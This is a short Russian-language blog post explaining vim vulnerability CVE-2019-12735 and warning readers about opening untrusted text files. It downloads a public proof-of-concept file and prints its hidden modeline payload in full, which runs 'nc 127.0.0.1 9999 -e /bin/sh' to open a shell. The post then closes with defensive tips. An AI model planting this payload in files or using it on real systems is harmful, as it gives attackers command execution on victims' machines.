Многим известно, что запускать неизвестного происхождения файлы небезопасно, но сколько человек при этом открывает незнакомые текстовые файлы, например, в текстовом редакторе?
Краткое описание недавней уязвимости в vim
Не хочу вдаваться в технические подробности дырки, которую нашли в текстовом редакторе vim, об этом написано немало статей (уязвимости присвоен номер CVE-2019-12735), но хочу рассказать о том, какую опасность это несёт и почему надо быть предельно аккуратным даже с такими, казалось бы, базовыми инструментами.
Вектор атаки: вам присылают файлик, вы его открываете в vim, а тем временем у вас на компьютере выполняется код. Например, качается с удаленного сервера бекдор и устанавливается в систему. Причем вы даже не видите целиком содержимого файла, вся выполняемая конструкция замаскирована и не отображается.
Демонстрация экслоита
Рассмотрим один из экслоитов для vim.
$ wget https://raw.githubusercontent.com/numirias/security/master/data/2019-06-04_ace-vim-neovim/shell.txt
А теперь попробуем его прочитать, например, утилитой cat:
$ cat shell.txt
Nothing here.
А вот что в файлике находится на самом деле:
$ cat -v shell.txt
[?7l SNothing here. :silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: [1G [KNothing here." [D
То есть вы качаете незнакомый файлик, открываете его в уязвимом текстовом редакторе и у вас открывается шелл на 9999-порту и делай дальше с вашей машиной что хочешь 🙂
Вывод
Открытие незнакомых текстовых файлов даже в текстовых редакторах может быть опасным.
Если вы не доверяете источнику, с которого скачен файл, лучше запустить его в изолированном окружении вроде виртуальной машины, или тестовой vps.
Как вариант — добавьте в ваш шелл (например, ~/.zshrc) следующий alias, чтобы хоть как-то обнаружить возможную маскировку шелл-кода в незнакомом файле. При условии что это не эксплоит к утилите cat, или терминалу 🙂
alias cv='cat -v'
Ну и конечно же не забывайте обновлять всё ПО и ОС на всех ваших девайсах.